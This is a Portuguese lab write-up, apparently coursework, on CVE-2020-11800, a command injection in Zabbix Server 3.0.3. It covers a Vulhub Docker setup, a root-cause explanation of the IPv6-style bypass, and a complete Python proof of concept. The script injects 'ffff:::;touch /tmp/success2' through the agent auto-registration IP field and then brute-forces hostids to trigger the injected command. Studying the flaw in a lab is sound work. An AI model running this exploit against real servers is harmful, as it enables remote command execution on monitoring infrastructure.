
Exploit PoC para CVE-2020-11800, uma injeção de comandos no Zabbix Server via auto-registro de agente malicioso, com entrega de payload baseada em Python e força bruta de ID de host.
Seções exigidas pelas diretrizes da atividade são marcadas com “(Obrigatório)”.
Este ambiente usa um Dockerfile personalizado baseado na imagem vulnerável do Zabbix Server fornecida pelo Vulhub.
FROM vulhub/zabbix:3.0.3-server
O Dockerfile cria uma imagem local usando o ambiente vulnerável do Zabbix Server 3.0.3. Nenhum pacote ou configuração adicional foi adicionado durante o processo de build.
O ambiente vulnerável é configurado usando o Docker Compose.
O ambiente consiste em quatro serviços:
O serviço server é construído localmente usando o Dockerfile:
server:
build: .
image: cve-2020-11800-server
O contêiner MySQL importa automaticamente os arquivos de inicialização SQL do diretório src/ usando montagem de volume:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
Isso permite que o esquema do banco de dados e os dados iniciais do Zabbix sejam carregados automaticamente quando o contêiner inicia.
O ambiente opera usando a seguinte estrutura:
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Fornece a interface de gerenciamento baseada na web, acessível pelo navegador.
O administrador configura o auto-registro e executa operações relacionadas ao monitoramento por meio dessa interface.
O componente principal responsável por:
A vulnerabilidade de injeção de comandos é acionada dentro desse contêiner.
Atua como um host monitorado e se comunica com o Zabbix Server.
O exploit abusa do mecanismo de auto-registro durante o processo de registro do agente.
Armazena dados de configuração do Zabbix, informações de hosts e dados relacionados ao monitoramento.
| Serviço | Imagem | Versão |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
O ambiente é baseado no ambiente vulnerável Zabbix 3.0.3 fornecido pelo Vulhub.
CVE-2020-11800 é uma vulnerabilidade de injeção de comandos na funcionalidade Active Proxy Trapper do Zabbix Server.
A vulnerabilidade existe porque o patch para CVE-2017-2824 foi incompleto. Um atacante pode contornar o patch original usando um payload no estilo IPv6 e executar comandos arbitrários no Zabbix Server.
A vulnerabilidade é acionada durante o processo de auto-registro, quando o servidor processa informações de host controladas pelo usuário.
A causa raiz da vulnerabilidade é o tratamento inseguro de entrada controlada pelo usuário dentro de comandos shell.
Durante a execução de scripts, o Zabbix Server usa o valor do IP do host registrado para construir comandos como:
ping <host_ip>
Em condições normais:
ping 127.0.0.1
No entanto, se um atacante registrar um host usando o seguinte payload:
ffff:::;touch /tmp/success2
o comando final executado pelo shell torna-se:
ping ffff:::;touch /tmp/success2
Como o ponto e vírgula (;) atua como separador de comandos do shell, o shell interpreta a entrada como dois comandos separados:
ping ffff:::
touch /tmp/success2
Como resultado, a execução arbitrária de comandos torna-se possível.
O patch original para CVE-2017-2824 tentava restringir valores de entrada maliciosos.
No entanto, a lógica de validação não tratava adequadamente entradas no estilo IPv6.
O payload:
ffff:::;touch /tmp/success2
usa um prefixo semelhante a IPv6 (ffff:::) para contornar a lógica de validação existente enquanto ainda injeta metacaracteres do shell.
Isso permite que atacantes contornem o patch anterior e continuem explorando a vulnerabilidade de injeção de comandos.
O processo do exploit ocorre na seguinte ordem:
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
O atacante primeiro envia uma solicitação maliciosa de auto-registro contendo um campo IP especialmente elaborado.
Após o host ser registrado, o Zabbix Server executa um script de monitoramento usando o valor do IP do host armazenado.
Durante esse processo, o payload malicioso é interpretado pelo shell, levando à execução arbitrária de comandos.
O exploit permite que atacantes executem comandos arbitrários com os privilégios do processo do Zabbix Server.
Neste ambiente, a exploração bem-sucedida criou o seguinte arquivo dentro do contêiner do servidor:
/tmp/success2
Isso confirma que os comandos shell injetados foram executados com sucesso.
Em um ambiente real, a exploração bem-sucedida poderia permitir que atacantes:
A vulnerabilidade é particularmente perigosa porque servidores de monitoramento frequentemente têm visibilidade de múltiplos sistemas internos e componentes de infraestrutura.
A Prova de Conceito (PoC) foi escrita em Python e se comunica diretamente com o Zabbix Server pela porta TCP 10051.
A PoC executa as seguintes ações:
hostidimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
O payload usado nesta PoC é:
ffff:::;touch /tmp/success2
| Parte | Propósito |
|---|---|
ffff::: | Prefixo semelhante a IPv6 usado para contornar a validação |
; | Separador de comandos do shell |
touch /tmp/success2 | Comando arbitrário executado no servidor |
O payload abusa do fato de o servidor concatenar incorretamente valores de IP controlados pelo usuário em comandos shell.
O payload é entregue por meio do campo ip durante o processo de auto-registro.
A primeira solicitação enviada pela PoC tenta registrar um host malicioso.
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
Após o registro, a PoC tenta localizar um hostid válido.
for i in range(10000, 10500):
A PoC itera por uma faixa de IDs de host possíveis e tenta acionar a execução de scripts.
Essa etapa é necessária porque o servidor atribui dinamicamente os IDs de host após o registro.
A seguinte solicitação aciona a execução de comandos:
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| Parâmetro | Descrição |
|---|---|
request | Solicita a execução do script |
scriptid | ID do script Zabbix configurado |
hostid | ID do host alvo |
Neste ambiente, scriptid:1 corresponde a um script relacionado a ping que usa o valor do IP do host durante a execução do comando.
O Zabbix Server internamente constrói um comando shell semelhante a:
ping ffff:::;touch /tmp/success2
O shell interpreta isso como:
ping ffff:::
touch /tmp/success2
Como resultado:
touch injetado é executado com sucessoDurante a exploração bem-sucedida, a seguinte saída pode aparecer:
ping: bad address 'ffff:::'
Isso indica que o payload atingiu o estágio de execução de comandos do shell.
A exploração bem-sucedida é confirmada quando o seguinte arquivo existe dentro do contêiner do servidor:
/tmp/success2
O fluxo completo do exploit está resumido abaixo:
Start Docker Environment
↓
Access Zabbix Web Interface
↓
Enable Auto Registration
↓
Run exploit.py
↓
Register Malicious Host
↓
Trigger Script Execution
↓
Command Injection
↓
Verify /tmp/success2
Inicie o ambiente vulnerável usando o Docker Compose.
docker compose up -d
Verifique se todos os contêineres estão rodando corretamente.
docker compose ps
O ambiente deve incluir os seguintes contêineres:
Abra o navegador e acesse a interface web do Zabbix.
http://127.0.0.1:8080
Credenciais padrão:
Username: admin
Password: zabbix
O exploit exige que o recurso de auto-registro esteja habilitado.
Navegue até:
Configuration → Actions
Altere a Fonte de Evento para:
Auto registration
Crie uma nova Ação e configure a seguinte operação:
Operation Type: Add Host
Isso permite que agentes recém-registrados sejam adicionados automaticamente ao servidor.
Execute o script da PoC.
python3 exploit.py 127.0.0.1
A PoC envia uma solicitação maliciosa de auto-registro e tenta acionar a execução de comandos usando vários IDs de host.
Durante a exploração bem-sucedida, uma saída semelhante à seguinte pode aparecer:
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
Isso indica que o payload atingiu o caminho vulnerável de execução de comandos do shell.
Acesse o contêiner do Zabbix Server.
docker exec -it cve-2020-11800-server-1 bash
Verifique se o comando injetado criou o arquivo alvo.
ls -l /tmp/success2
A exploração bem-sucedida produz uma saída semelhante a:
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
Isso confirma que comandos arbitrários foram executados com sucesso dentro do contêiner do Zabbix Server.
As seguintes capturas de tela foram incluídas no diretório screenshots/:

